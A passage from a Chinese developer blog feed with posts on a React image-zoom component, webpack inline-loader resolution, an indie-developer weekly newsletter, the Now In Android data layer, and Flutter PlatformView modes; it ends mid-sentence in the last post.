为了实现放大的视觉效果,我们可以使用CSS中的transform: scale()属性。当用户悬停或点击图片时,改变图片的缩放比例。

.image-zoom-container img {
  transition: transform 0.3s ease-in-out;
}

.image-zoom-container img.zoomed {
  transform: scale(2);
}

2. 常见问题与解决方案

2.1 放大后图片失真

图片放大后可能会出现模糊或失真的现象,尤其是在高倍率缩放时。为了避免这种情况,可以选择高质量的图片源文件,或者使用CSS中的image-rendering属性来优化渲染质量。

.image-zoom-container img {
  image-rendering: crisp-edges; /* 或者使用其他值如pixelated */
}

2.2 性能问题

频繁的DOM操作和样式变化可能导致性能下降,特别是在移动设备上。为了解决这个问题,可以考虑使用React的useMemouseCallback钩子来优化性能,或者使用虚拟DOM库如react-virtualized来处理大量图片。

import React, { useState, useCallback } from 'react';

const ImageZoom = ({ src }) => {
  const [isZoomed, setIsZoomed] = useState(false);

  const handleMouseEnter = useCallback(() => {
    setIsZoomed(true);
  }, []);

  const handleMouseLeave = useCallback(() => {
    setIsZoomed(false);
  }, []);

  return (
    <div className="image-zoom-container">
      <img 
        src={src} 
        alt="Product" 
        onMouseEnter={handleMouseEnter} 
        onMouseLeave={handleMouseLeave}
        onClick={() => setIsZoomed(!isZoomed)}
        className={isZoomed ? 'zoomed' : ''}
      />
    </div>
  );
};

2.3 移动端支持

在移动端,触摸事件与鼠标事件不同,需要额外处理。可以使用onTouchStartonTouchEnd事件来替代onMouseEnteronMouseLeave,以确保在移动设备上有良好的用户体验。

const ImageZoom = ({ src }) => {
  const [isZoomed, setIsZoomed] = useState(false);

  const handleTouchStart = () => {
    setIsZoomed(true);
  };

  const handleTouchEnd = () => {
    setIsZoomed(false);
  };

  return (
    <div className="image-zoom-container">
      <img 
        src={src} 
        alt="Product" 
        onMouseEnter={() => setIsZoomed(true)} 
        onMouseLeave={() => setIsZoomed(false)}
        onTouchStart={handleTouchStart}
        onTouchEnd={handleTouchEnd}
        onClick={() => setIsZoomed(!isZoomed)}
        className={isZoomed ? 'zoomed' : ''}
      />
    </div>
  );
};

3. 易错点及避免方法

3.1 状态管理混乱

在复杂的交互场景中,状态管理容易变得混乱。为了避免这种情况,建议使用React的上下文API或Redux等状态管理工具来集中管理状态。此外,合理划分组件职责,保持每个组件的功能单一化。

3.2 样式冲突

多个样式规则可能相互冲突,导致预期外的效果。为避免这种情况,建议使用CSS模块或CSS-in-JS库(如Styled Components)来确保样式的作用域隔离。

import styled from 'styled-components';

const StyledImage = styled.img`
  transition: transform 0.3s ease-in-out;
  &.zoomed {
    transform: scale(2);
  }
`;

const ImageZoom = ({ src }) => {
  const [isZoomed, setIsZoomed] = useState(false);

  return (
    <div className="image-zoom-container">
      <StyledImage 
        src={src} 
        alt="Product" 
        onMouseEnter={() => setIsZoomed(true)} 
        onMouseLeave={() => setIsZoomed(false)}
        onClick={() => setIsZoomed(!isZoomed)}
        className={isZoomed ? 'zoomed' : ''}
      />
    </div>
  );
};

3.3 事件绑定过多

过多的事件绑定会导致性能问题。可以通过事件委托或使用useEffect钩子来优化事件绑定逻辑,减少不必要的事件监听器。

import React, { useState, useEffect } from 'react';

const ImageZoom = ({ src }) => {
  const [isZoomed, setIsZoomed] = useState(false);

  useEffect(() => {
    const handleMouseEnter = () => setIsZoomed(true);
    const handleMouseLeave = () => setIsZoomed(false);

    document.addEventListener('mouseenter', handleMouseEnter);
    document.addEventListener('mouseleave', handleMouseLeave);

    return () => {
      document.removeEventListener('mouseenter', handleMouseEnter);
      document.removeEventListener('mouseleave', handleMouseLeave);
    };
  }, []);

  return (
    <div className="image-zoom-container">
      <img 
        src={src} 
        alt="Product" 
        onClick={() => setIsZoomed(!isZoomed)}
        className={isZoomed ? 'zoomed' : ''}
      />
    </div>
  );
};

4. 高级功能扩展

4.1 支持多张图片

如果需要支持多张图片的放大功能,可以考虑使用轮播图组件(如react-slick)结合图片放大组件,提供更丰富的用户体验。

4.2 自定义放大区域

对于一些特殊需求,可能需要自定义放大区域。可以通过添加额外的DOM元素来实现局部放大的效果。

const ImageZoom = ({ src }) => {
  const [isZoomed, setIsZoomed] = useState(false);
  const [hoverPosition, setHoverPosition] = useState({ x: 0, y: 0 });

  const handleMouseMove = (e) => {
    setHoverPosition({ x: e.clientX, y: e.clientY });
  };

  return (
    <div className="image-zoom-container" onMouseMove={handleMouseMove}>
      <img 
        src={src} 
        alt="Product" 
        onMouseEnter={() => setIsZoomed(true)} 
        onMouseLeave={() => setIsZoomed(false)}
        onClick={() => setIsZoomed(!isZoomed)}
        className={isZoomed ? 'zoomed' : ''}
      />
      {isZoomed && (
        <div className="zoom-overlay" style={{ left: hoverPosition.x, top: hoverPosition.y }}>
          <img src={src} alt="Zoomed Product" className="zoomed-image" />
        </div>
      )}
    </div>
  );
};

结论

通过使用React创建图片放大组件,我们可以显著提升用户的浏览体验。本文介绍了从基础实现到常见问题、易错点及高级功能扩展的各个方面。希望这些内容能够帮助你在实际项目中更好地实现和优化图片放大功能。

by Jimaks at January 20, 2025 12:50 AM

从 webpack 内联 loader 学习“一致性设计”

一、前文回顾

上文主要讲述了 resolve 流程中解析 request 的工作,这部分工作主要包含两方面:

  1. 处理 match-resource 语法(!=!),这种语法是 webpack v4 之后支持的一种新语法,用于在编译中暴力修改原有 request 应该使用的 loader。值得注意的是,这种语法在业务中不要用,这个东西有点危险!这一步主要是获取 matchResourceData,并且将 matchResource 从原有的 request 上移除以便进行后续的解析工作。
  2. 解析 requestWithoutMatchResource,分析 request 开头的字符是不是 !/-!/!! 来决定是不是禁用调用配置中的loader,最后将 loader 和资源路径分离;

经过这两个步骤后我们得到 request 上带有的 内联 loader(elements) 和 模块资源路径(unresolvedResouce);

今天这篇小作文我们将接着讲处理 request 之后,解析内联 loader 的事儿!

二、解析行内 loader 路径

前面我们已经从 request 上得到了指定的行内 loader,下面就要调用 resolver 的能力解析这些 loader 的具体路径,下面是这部分简化后的代码框架:


class NormalModuleFactory extends ModuleFactory {
    constructor () {
        this.hooks.resolve.tapAsync(  
            {  
                name: "NormalModuleFactory",  
                stage: 100  
            },  
            (data, callback) => {
                // ...
                
                // 1. 
                let loaders;
                
                // 2.
                const continueCallback = needCalls(2, err => {
                    // ...
                });

                // 3.
                this.resolveRequestArray(
                    contextInfo,
                    contextScheme ? this.context : context,
                    elements,
                    loaderResolver,
                    resolveContext,
                    (err, result) => {
                        // 4.
                        loaders = result;
                        
                        // 5.
                        continueCallback();
                    }
                );
                
            }
        );
    
    }
}

整体上我把这部分分为了 5 个步骤:

  1. 声明 loaders 变量,不设初始值;
  2. 声明 continueCallback 函数,该函数是 needCall 的返回值,这个回调函数会最后被调用;
  3. 调用 this.resolveRequestArray() 方法,传入包含内联 loader 的数组 elements 以及用于解析 loader 用的 resolver —— loaderResolver,另外还传入了受理解析结果的回调函数;
  4. 在 this.resolveRequestArray() 方法的回调中,将解析所得到 result 赋值给前面声明的 loaders 变量;
  5. 调用 2. 声明的 continueCallback 函数继续后续流程;

2.1 needCall

这个方法是个机制的方法,webpack 内部有很多类似抖机灵的解决方案。我们来看看这个函数:

const needCalls = (times, callback) => {
    return err => {
        if (--times === 0) {
            return callback(err);
        }
        if (err && times > 0) {
            times = NaN;
            return callback(err);
        }
    };
};

函数内部十分简洁,接收一个 times 的计数和 times 调用结束后需要调用的 callback;最终返回一个回调函数。

返回值函数内部记录调用次数,每次调用执行 --times 的操作,为0是调用 callback,这么简单的逻辑相信代码初学者都可以组织好,但是为啥要讲它呢?

先思考一个问题:为啥 webpack 要这么做呢,为什么不用 Promise ...,为啥不用 asyncLib 啥的调度....啥的。。。?

优点主要有两点:

  1. 这是因为 webpack 要性能优化,一个简单的计数器能搞定的事儿就不用更消耗内存的其他实现方式;
  2. 另外这里是一个典型的闭包场景,随着 callback 被调用,由 needCall 所创建的所有有的执行栈被清空,内存也可以得到及时的释放。

2.2 nmf.resolveRequestArray

该方法由 NormalModuleFactory 类型在原型上实现,用于在 resolve 阶段 并发 解析 loader 和资源模块的路径,简化后的代码如下:

class NormalModuleFactory extends ModuleFactory {
    resolveRequestArray(
        contextInfo,
        context,
        array,
        resolver,
        resolveContext,
        callback
    ) {
        // 1.
        asyncLib.map(
            array,
            (item, callback) => {
                
                // 2.
                resolver.resolve(
                    contextInfo,
                    context,
                    item.loader,
                    resolveContext,
                    (err, result) => {
                        // 3.
                        const parsedResult = this._parseResourceWithoutFragment(result);
                        
                        // 4.
                        const resolved = {
                                loader: parsedResult.path,
                                options:
                                    item.options === undefined
                                            ? parsedResult.query
                                                ? parsedResult.query.slice(1)
                                                : undefined
                                            : item.options,
                                ident: item.options === undefined ? undefined : item.ident
                        };
                        // 5.
                        return callback(null, resolved);
                    }
            );
        },
        callback // 6.
    );
    }
}

2.2.1 参数

  1. contextInfo:构建相关上下文信息,在 factory.create() 调用时传递,经层层传递到达这里;
  2. context:当前构建的项目的上下文目录;
  3. array:带解析的路径数组,可以是 loader 的,也可以是自愿模块的;
  4. resolver:用于解析上面 array 的 resolver,根据解析的物料不同而不同;
  5. resolverContext:resolver 执行 resolve 时需要的上下文对象,这个对象会伴随 resolver 流水线工作,贯穿整个 resolve 的过程。这个对象中包含三个我们熟悉的对象 file/missing/context dependencies;从这里可以看出后面要用的 file/missing dependencies 是在 resolve 阶段填充的;
  6. callback:这个 callback 是受理解析结果的回调函数;

下图是个方法在工作时接收到的实参:

image.png

当然,在我们的例子中,我们并没有内联的 loader,因此 array 将会是个空数组。。。。(我好想抛开事实不谈。。。。。。🧜‍♀️🧚‍♀️)

2.2.2 逻辑

逻辑也是相当的简洁,一共分为 6 个步骤:

  1. 调用 asyncLib.map 异步并发迭代 array,这个 asyncLib.map(arr, iteratorFun, cb) 接收三个参数,异步的迭代 arr 中的每一项,为它调用 iteratorFun,当所有都迭代结束后调用 cb;
  2. resolver.resolve() 调用作为迭代函数执行,接收每个待解析的项目进行解析;
  3. 在得到 resolver.resolve 的结果后调用 _parseResourceWithoutFragment 方法处理一下成标准的 { path, query, resource } 对象;
  4. 组织 resolved 对象;
  5. 调用控制 asyncLib.map 的 callback,注意这个 callback 不是 resolveRequestArray 的 callback;
  6. 在 asyncLib.map 完成对 array 中每一项的迭代后就拿到了所有的结果,此时调用 callback 完成解析工作;

2.3 内联 loader 的优先解析特性

这一点并不是 webpack 显式的告知我们的,而是随着阅读的深入(严格来讲是写作本文时)才发现的特性。内联 loader 无论是在 rquest 的处理还是在 loader 的路径解析层面都有着非常高的优先级。这个设定和 webpack 设计内联 loader 时给予的更高优先级相辉映。

但是,我想说但是,到这里也只是第一层,我想说的是 一致性。这种设计和实现的一致性很值得提倡,这为二次开发的你我,或者阅读这个部分代码的读者来说都是十分容易理解的。

当然,这里并不是最终优先级的组织时机,但是从流程上讲这样处理是非常赞的!

三、总结

本文讲述了 webpack 在 resolve 阶段解析 内联 loader 的细节工作,主要包含了一些内容:

  1. needCall 这个小方法的意义,以及它背后的设计理念;
  2. NormalModuleFactory.prototype.resolveRequestArray 方法的实现:并发调用 resolver.reslve 解析,得到解析结果后调用 _parseResourceWithoutFragment 方法后处理解析结果后返回;
  3. 最后我们分享了 webpack 内部对于 内联loader 从设计到实现的一致性,这一点非常值得推荐;

下面我们开始进入更精彩的环境——常规 loader 的解析以及 loader 顺序的确定还有资源模块的解析!

by 和雍 at January 20, 2025 12:50 AM

juejin article

独立开发沉思录周刊:vol29.努力也是一种天赋

卷首语

为什么有些人看起来总是那么努力?

记得在上高中的时候,高一的数学老师布置的数学题目都很难,每次绞尽脑汁终于解开一道题目的时候,会有一种恍然大悟的快感

这种快感,就是经验增加带来的正反馈,如果每次努力都能够获得这样的正反馈,那么就会进入到「正反馈循环」中,就像是一个越转越快的飞轮,自然想要一直保持努力

这种正反馈很好,但现实的情况往往是

  • 有些人解一道题就能获得成就感,渐入佳境,逐步迈入学霸行列
  • 还有一些人解十道题可能才能获得一次成就感,其他时候都是徒劳无功的失望和叹息

每个人获取正反馈的难度是不一样的

  • 有人运动时会感到舒畅愉悦,有人则全程都在忍受痛苦
  • 有人读书学习会获得充实感,有人则觉得度日如年
  • 有人工作中不断获得成就感,有人则感觉自己在不断原地踏步

所有有这样一个反直觉的观点

事实并非是「以大多数人的努力程度,还无法和人拼天赋」

而是「以大多数人的天赋程度,还无法和天才拼努力」

当一个人拥有某方面天赋的时候,他在这个领域的努力会更加自然和持久

努力也是一种天赋

所以在努力这件事上,也要找到自己合适的方向

每个人的人生都是独一无二的,找到属于你的正确道路,然后坚定的走下去,这才是真正重要的事情

这不是一种放弃,而是一种更明智的选择

参考链接

内容推荐

【领路人】张小龙:产品之上的世界观

2013 年发表在《腾讯月刊》的张小龙专访,全文聊到了产品、团队管理、微信业务扩张等多个方面,总结了一下里面提到的一些观点,现在来看也很有参考价值

关于产品设计

  • 产品臃肿的定义
    • 产品是否臃肿不取决于功能数量
    • 而取决于用户的实际使用体验
    • 关键是能否将复杂功能简单化呈现
  • 产品的人文性
    • 人文不是主体,而是产品的一个侧面
    • 人文元素应该融入每个功能,而非表面化
    • 不能把人文性过度放大或简单理解为"小清新"
  • 产品平台化
    • 通讯工具必须要做大做强才能生存
    • "小而美"往往是被迫的选择,不是主动追求的结果
    • 平台化不等于复杂化,关键是保持简单的用户体验

关于国际化

  • 文化差异认知
    • 不能简单地将国际化困难归结为文化差异
    • 应该从需求角度出发理解不同市场
    • 更重要的是了解当地用户的实际需求
  • 市场拓展策略
    • 要分析不同地区的具体市场特点
    • 关注用户的生活习惯和使用场景
    • 产品氛围决定最终能否被市场接受

关于团队管理

  • 团队规模与效率
    • 提倡保持小团队运作
    • 反对过度流程化
    • 大团队应该拆分为多个小团队
  • 驱动力来源
    • 反对单纯用 KPI 驱动团队
    • 重要的是目标和愿景的重要性
    • 内在动力来自对现实的不满
  • 创新与变革
    • 互联网产品需要持续进化
    • 不能被固定流程束缚创新
    • 要保持对未来的开放态度

对行业的思考

  • 互联网发展
    • IT 不是由极客推动的,而是由商业公司推动
    • 个人开发者时代已经过去
    • 但要警惕大公司的官僚化倾向
  • 创新方向
    • 关注新技术带来的机会(比如当时的 Google 眼镜)
    • 思考产品本质(如沟通的本质)
    • 保持对用户需求的敏感

相关链接

【创业】可测量性和放大性

可测量性是指个人贡献能够被准确评估和量化的程度,个人价值需要与实际产出直接挂钩

可放大性体现在个人决策能够产生巨大影响的能力,使得投入与产出之间能够形成显著的倍数效应

真正的财富创造需要同时具备可测量性和可放大性

  • 如果只具有可测量性,只能实现收入线性增长,比如个体咨询,因为一个人的时间是有限制的
  • 如果只具有放大性,很难证明其工作的价值,比如作为「传话筒」的中层管理者

一个小的团队是同时实现这两个要素的最佳环境

  • 对于可测量性:贡献清晰可见、明确的责任边界、直接的奖励机制、快速的反馈循环
  • 对于放大性:决策链条更短、执行效率更高、适应性更强、创新成本更低

相关链接

【技术】20 个有争议的编程观点

  1. 业余时间不编程的程序员永远比不上那些会这样做的人:即使最聪明有天赋的人,如果不把编程当作兴趣而仅仅是工作,也无法成为真正优秀的程序员
  2. 单元测试无助于编写好的代码:单元测试的唯一作用是确保已经正常工作的代码不会出错,先写测试或为测试而写代码是荒谬的
  3. 唯一应该始终遵循的「最佳实践」就是「用你的大脑思考」:太多人盲目追随新潮流,强行使用不合适的方法、模式和框架
  4. 代码中的大多数注释实际上是有害的代码重复:过时、误导性的注释比没有注释更糟糕,应该专注于使代码本身具有可读性
  5. 「Google 一下」是可以的!:使用 Google 查找答案没有什么不对,重要的是你理解材料并能正确使用它
  6. 并非所有程序员都是平等的:一个开发者的表现可能比另一个高出 10 倍甚至 100 倍,即使他们经验相近
  7. Java 不一定是最好的第一门编程语言:第一门编程语言应该强调控制流和变量的概念,而不是对象和语法
  8. 如果你只懂一种语言,无论多精通,你都不是优秀的程序员:学习每种新语言都能教会你新的编程思维方式
  9. 偶尔写垃圾代码是可以的:有时候快速且简单的解决方案就足够了,不需要过度设计
  10. 使用 print 语句调试代码是有效的:使用打印语句调试有时比使用调试器更快,只要确保生产环境中删除它们
  11. 你的工作是让自己失业:代码应该容易被其他开发者接手,这反而会让你变得更有价值
  12. Getter 和 Setter 被过度使用:仅仅为所有私有字段创建 getter/setter 并不等于封装
  13. SQL 也是代码,应该像对待其他代码一样对待它
  14. UML 图被高估了:虽然有些 UML 图很有用,但很多都毫无价值
  15. 可读性是代码最重要的方面:甚至比正确性更重要,因为可读的代码容易修复和优化
  16. XML 被高估了:不应该在没有充分思考的情况下就使用 XML
  17. 软件开发只是一份工作:虽然很有趣,但它的重要性低于家庭、朋友和生活中的其他事物
  18. 作为开发者,你应该能够写代码:令人惊讶的是,许多声称是开发者的人连基本的编程任务都无法完成
  19. 设计模式正在损害而不是帮助良好的设计:软件设计太过复杂,无法用有限的模式来概括,过度使用模式反而会影响设计
  20. 代码越少越好:如果用户说"就这些?"而你的工作保持不可见,那就是做对了

相关链接

【观点】为什么会「报复性熬夜」

复仇性熬夜是指人们因白天缺乏自主时间,而在晚上故意推迟睡眠时间以获得控制感的行为,比较典型的表现比如

  • 工作人群:整天被工作和琐事占据,晚上通过刷社交媒体、看视频来获得自主时间
  • 青少年群体:白天被父母和老师的要求所束缚,晚上偷偷熬夜以获得反叛和控制感

熬夜导致睡眠不足会对身体健康有着很大的危害

  • 睡眠不足导致的疲劳和精疲力竭
  • 身心健康受损
  • 人际关系紧张
  • 工作学习效率下降
  • 形成恶性循环,加重睡眠问题

一些解决报复性熬夜的 tips

  • 重新定义控制感
    • 制定可实现的日程计划
    • 在工作/学习中寻找自主空间
    • 培养健康的自我奖励方式
  • 建立自我认知
    • 理解熬夜实际上是在伤害自己
    • 发展积极的自我对话
    • 培养自我同理心
  • 改善日间时间管理
    • 在日程中预留"自我时间"
    • 建立明确的优先级
    • 学会说"不",避免过度承诺
  • 建立健康的睡眠习惯
    • 设定固定的睡眠时间
    • 创建舒适的睡眠环境
    • 建立放松的睡前仪式

相关链接

工具推荐

  • Notate:可以私有部署的 AI 研究助手,提供文档分析、网页和 YouTube 内容分析

  • GridMaker.co: 免费的图片切割工具,适合发朋友圈、社交媒体等场景

  • 牛马能耗标识:自定义并生成个性化的能耗标识,展示工作能耗情况,很有意思的项目


本周刊由独立开发沉思录运营

by 两万焦 at January 20, 2025 12:41 AM

juejin android

Now In Android 精讲 5 - Data Layer

准备工作

在学习本章之前,我们一起尝试来解决下面几个问题。

  • 1:viewmodel 是属于数据层吗?
  • 2:你知道哪些数据层的架构组件?
  • 3:Repository 类的主要目职责是什么?
  • 4:Data source 的主要职责是什么,如何使用呢?
  • 5:Respository 对外提供 API 有哪些需要注意的?
  • 6:Respository 的命名规范是怎么样的?
  • 7:如何理解 source of truth (可信数据源)?
  • 8:数据操作有哪些类型?
  • 9:常见的数据任务有哪些?
  • 10:如何设计一个离线优先的应用?
  • 11: 应用数据与网络数据有哪些同步的手段,他们有哪些区别?
  • 12:如果是你该如何设计冲突解决方案呢?

然后带着这些问题我们先来阅读官方文档,数据层简介构建离线优先应用data storework manager。由于此章文档内容很长,概念繁多,如果没有时间的同学,快速过一下即可,不强求每个细节每个点都掌握,只在需要的时候回头看一眼,对内容有个印象,知道怎么用即可。毕竟写代码最终是一门工程,他需要反复的实践中应用掌握,方才显得有意义,若是一味的追求条条框框而不去实践实属本末倒置。

OverView 概览

借用一张项目里面的架构分层图,我们先大概看一眼,了解数据层的基本运作

image.png

Entry point 切入点

Talk is cheap,先看两段 Now In Android 项目中的代码。

case 1: 直接在 viewmodel 里面使用 Repository

class ForYouViewModel @Inject constructor(
    private val savedStateHandle: SavedStateHandle,
    syncManager: SyncManager,
    private val analyticsHelper: AnalyticsHelper,
    private val userDataRepository: UserDataRepository,
    userNewsResourceRepository: UserNewsResourceRepository,
    getFollowableTopics: GetFollowableTopicsUseCase,
) : ViewModel()

case 2: 在 UseCase 里面使用 Repository

class GetFollowableTopicsUseCase @Inject constructor(
    private val topicsRepository: TopicsRepository,
    private val userDataRepository: UserDataRepository,
)

从上面的两段代码,我们可以看的出来 ViewModel 可以直接依赖 Repository,亦可依赖 UseCase,UseCase 封装数个 Repository 的操作。这与官方的介绍一致,界面层可以直接依赖数据层,亦可依赖 domain 层。在业务不复杂的时候 domain 层不是必须的。
Repository 是数据层的入口类,一般来说界面层与 Domain 层不直接依赖其实现,通常依赖 Repository 接口层,这样可以更方便维护,测试。

A typical repository / 一个典型的 Repository

interface UserDataRepository {
    // 不可变的 flow 数据流
    val userData: Flow<UserData>
    // 可挂起方法
    suspend fun setFollowedTopicIds(followedTopicIds: Set<String>)
    
    ...
    }

从上面的例子我们可以看到 Repository,命名习惯是 数据类型 + Repository,然后对外提供一个不可变的数据流,对数据流的修改、获取均使用 suspend 方法,get 获取数据返回 flow 类型的可观察数据流。
顺带说一句 Repository 设计需要符合单一职责的原则,即一个 Repository 只处理一种类型的 Data,相信很多人在使用的时候没有注意到,喜欢用 Repository 来管理一组数据,这种方式其实是违反了数据层的设计原则,如果一个 Repository 功能非常强大,那么他的可读性会很差,Repository 里面的各个方法,如果相关性不强那么对于后续的维护更是一场灾难,很容易会变成祖传代码。

Repository 与 DataSource

老规矩先上 code

internal class OfflineFirstUserDataRepository @Inject constructor(
    private val niaPreferencesDataSource: NiaPreferencesDataSource,
    private val analyticsHelper: AnalyticsHelper,
) : UserDataRepository {
    
    // 使用 data source 的数据流
    override val userData: Flow<UserData> =
        niaPreferencesDataSource.userData

    @VisibleForTesting
    override suspend fun setFollowedTopicIds(followedTopicIds: Set<String>) =
        niaPreferencesDataSource.setFollowedTopicIds(followedTopicIds)

我们知道 Repository 类负责向外提供数据,但是通常我们不直接让其去操作数据,而是通过借用注入的 Data Source (数据源)来操作数据。可以说 Data Source 是真正实现数据能力的地方,而 Repository 是对一个或者多个同类型 Data Source 的封装,所以为了不破坏封装,严格禁止直接调用 Data Source。
数据源通常来源不止一种,有 remote,local。当然 local 里面可能来自 file,database or datastore,在实际开发过程中可以根据自己的需求灵活搭配。由于 Repository 与 DataSource 的关系是一对多的关系,那么不同 DataSource 之间必然存在着一些读写问题,关于如何解决读写问题的我们在下一节来一起介绍。

Now In Android 离线优先业务介绍

离线优先模块设计 overview

image.png 对于我们大多数人其实都会有体验,很多国内的 App 即便是在没有网络的情况下依然可以工作。例如微信断网的情况下我们依然能够查看聊天记录,头条的新闻没有网络依旧可以阅读几条。对于没有网络或是网络较差的支持我们称之为 离线优先
对于离线优先最重要的是设计是需要有一个能够在没有网络的情况下提供支持的 Repository。从离线优先这个名字我们也可以想到,我们的数据层的 Repository 肯定以 local 数据源变化为主,然后在收到网络数据变化的时候与本地数据进行同步操作。

离线优先场读写策略

数据层主要向外提供读写*(get&set) 两种类型的操作,但是我们依然需要对读写过程的做好保护策略,以免意外发生。

读/get 场景策略

对于 读/get 数据这个场景,由于我们向外暴露的是一个不可变数据 flow,而且读取的是 local 数据源,大多数的离线优先场景可能都能应付,但是依然不能满足所有场景。下面我以 Now In Android 项目里面的一段代码举例:

getSearchContentsUseCase(query)
    // Not using .asResult() here, because it emits Loading state every
    // time the user types a letter in the search box, which flickers the screen.
    .map<UserSearchResult, SearchResultUiState> { data ->
        SearchResultUiState.Success(
            topics = data.topics,
            newsResources = data.newsResources,
        )
    }
    .catch { emit(SearchResultUiState.LoadFailed) }
    
sealed interface SearchResultUiState {
    data object Loading : SearchResultUiState

    data object EmptyQuery : SearchResultUiState

    data object LoadFailed : SearchResultUiState

    data class Success(
        val topics: List<FollowableTopic> = emptyList(),
        val newsResources: List<UserNewsResource> = emptyList(),
    ) : SearchResultUiState {
        fun isEmpty(): Boolean = topics.isEmpty() && newsResources.isEmpty()
    }

    data object SearchNotReady : SearchResultUiState
}    

这是一个搜索内容的场景,对于读取数据也会遇到没有网络的场景,此时就不适宜使用本地数据源。这也说明另外一个道理,离线优先虽然大部分的场景是以 local 数据源为主,但是对于搜索这类的场景是需要以 remote 数据为 SOT(source of true)。所以我们平时在讨论问题的时候切莫极端,凡事莫要先下定论。
对于示例代码里面使用 catch 作为读取数据流失败的策略,当然我们在实际开发过程中可以按照自己的业务需求添加不同的处理逻辑,例如我可以根据不同的异常来做不同的处理。

.catch { e ->
    when (e) {
        is NetworkError -> handleNetworkError()
        is ServerError -> handleServerError()
        else -> handleGenericError()
    }
}

当然我们也可以按照需求场景的不同使用其他操作符来处理,例如 retry。不过由于个人维护 retry 这类场景的风险很高,策略也难以把握,我曾经就写过一个斐波那契的退避规则,当时把 review 同事都看呆了,反复问我有没有问题,测试了多少次。在这里推荐如果复杂需求尽量交给 WorkManager 来处理,他的功能更强大,配置更灵活,当然也省下不少 coding 时间。

写/set 场景策略

对于写操作在 Now In Android 项目目前是以读取本地版本,然后对比版本决定是否更新远端。当然需要根据不同业务场景来选择自己的策略。例如某些金融场景,订单相关定然是要依赖 remote 数据为主,尝试写入。

override suspend fun syncWith(synchronizer: Synchronizer): Boolean =
    synchronizer.changeListSync(
        versionReader = ChangeListVersions::topicVersion,
        changeListFetcher = { currentVersion ->
            network.getTopicChangeList(after = currentVersion)
        },
        versionUpdater = { latestVersion ->
            copy(topicVersion = latestVersion)
        },
        modelDeleter = topicDao::deleteTopics,
        modelUpdater = { changedIds ->
            val networkTopics = network.getTopics(ids = changedIds)
            topicDao.upsertTopics(
                entities = networkTopics.map(NetworkTopic::asEntity),
            )
        },
    )

Now In Android 离线优先同步设计

  • Syncable: 定义可同步能力的接口

  • Synchronizer: 协调所有同步操作的执行、创建同步任务

  • SyncManager: 管理同步任务的调度,主要能力有查看 sync 状态,轻轻sync

离线优先的同步流程介绍

graph TD
    A[SyncManager<br/>Interface] -->|schedules| B[WorkManagerSyncManager<br/>WorkManager]
    B -->|enqueues| C[SyncWorker]
    C -->|calls| D[Synchronizer<br/>Coordinator]
    D -->|coordinates| E[Syncable<br/>Interface]
    
    E -->|implemented by| F[TopicsRepository]
    E -->|implemented by| G[NewsRepository]
    E -->|implemented by| H[Other Repositories...]

    I[App initialize] -->|triggers| B
    J[Push service] -->|triggers| A
    K[Network Recovery-暂时没找到代码] -.->|triggers| A
    
    subgraph "Scheduling Layer"
        A
        B
    end
    
    subgraph "Execution Layer"
        C
        D
    end
    
    subgraph "Implementation Layer"
        E
        F
        G
        H
    end

    classDef interface fill:#f9f,stroke:#333,stroke-width:2px;
    classDef implementation fill:#bbf,stroke:#333,stroke-width:2px;
    classDef worker fill:#bfb,stroke:#333,stroke-width:2px;
    
    class A,E interface;
    class B,F,G,H implementation;
    class C worker;

同步策略

上图是我总结的 Now In Android 项目里面的同步的流程图,可以看到目前项目里面使用了 2 种同步策略:

  1. 主动同步:在进入 app 时候主动去触发同步任务
  2. 被动同步:收到服务端的 notification,被动触发同步任务。

对于在网络恢复之后的同步,目前项目里面我并没有找到。总体而言整个同步的过程并不复杂,代码的分层很好,我想对于团队人数不是很多的团队,直接使用这一方案可以节省不少时间。即便工作中用不上的话,也可以学习项目里面的分层策略。

总结

文章介绍了 Data layer 的设计,以及离线优先场景的设计,如果感兴趣的同学可以对照仓库代码学习,然后然后有机会在工作中应用尝试这些知识。

The end.

image.png

by CaptainZ at January 20, 2025 12:29 AM

深入 Flutter 和 Compose 的 PlatformView 实现对比,它们是如何接入平台控件

在上一篇《深入 Flutter 和 Compose 在 UI 渲染刷新时 Diff 实现对比》发布之后,收到了大佬的“催稿”,想了解下 Flutter 和 Compose 在 PlatformView 实现上的对比,恰好过去写过不少 Flutter 上对于 PlatformView 的实现,这次恰好可以用来和 Compose 做个简单对比:

Flutter

其实 Flutter 在 Android 上的 PlatformView 实现过去已经聊过好多次了,Flutter 作为完全脱离平台渲染树的独立 UI 库,它在混合开发的 PlatformView 实现可以说是“历经沧桑” 。

既然前面我们讲过很多次,这里主要就是简单介绍下,方便和 Compose 做个对比,感兴趣的可以去看后面的详细链接。

在 Flutter 上是通过 AndroidView 接入平台控件,目前活跃在 Android 平台的 PlatformView 支持主要有以下三种:

  • Virtual Display (VD)
  • Hybrid Composition (HC)
  • Texture Layer Hybrid Composition (TLHC)

为什么会有这么多不同模式支持?因为主要是随着技术推进和适配场景,PlatformView 的适配需求都在更新,但是新来的又不能完全提前之前的方案,所以就导致实现都并存下来。

VD

VD简单来说就是使用 VirtualDisplay 渲染原生控件到内存,然后利用 id 在 Flutter 界面上占用一个相应大小的位置,最后通过 id 关联到 Flutter Texture 里进行渲染。

问题也很明显,因为控件不会真实存在渲染的位置,可以不严谨理解,它只是内存里 UI 的“镜像”显示,或者说“副屏镜像”,所以此时的点击和对原生控件的操作,其实都是需要由 Flutter 这个 View 进行二次转发到原生再回到 Flutter 。

另外因为控件是渲染在内存里,所以和键盘交互需要通过二级代理处理,容易产生各种键盘输入和交互的异常问题,特别是 WebView 场景。

当然,现在的 VD 已经比初始的时候好很多,并且还在兼容“服役”。

HC

1.2 版本开始支持 HC 模式,这个版本就是直接把原生控件「覆盖」在 FlutterView 上进行堆叠,简单来说就是 HC 模式会直接把原生控件通过 addView 添加到 FlutterView 上 。如果出现 Flutter Widget 需要渲染在 Native Widget 上,就采用新的 FlutterImageView 来承载新图层。

比如在 Layout Inspector,HC 模式可以看出来各种原生布局的边界绘制:

而如下图所示,其中蓝色的文本是原生的 TextView ,红色的文本是 Flutter 的 Text 控件,在中间 Layout Inspector 的 3D 图层下可以清晰看到:

  • 两个蓝色的 TextView 是被添加在 FlutterView 之上,并且把没有背景色的红色 RE 遮挡住了
  • 最顶部有背景色的红色 RE 也是 Flutter 控件,但是因为它需要渲染到 TextView 之上,所以这时候多一个 FlutterImageView ,它用于承载需要显示在 Native 控件之上的纹理,从而达 Flutter 控件“真正”和原生控件混合堆叠的效果。

这里的 FlutterImageView ,其实还有一个作用,就是为了解决动画同步和渲染

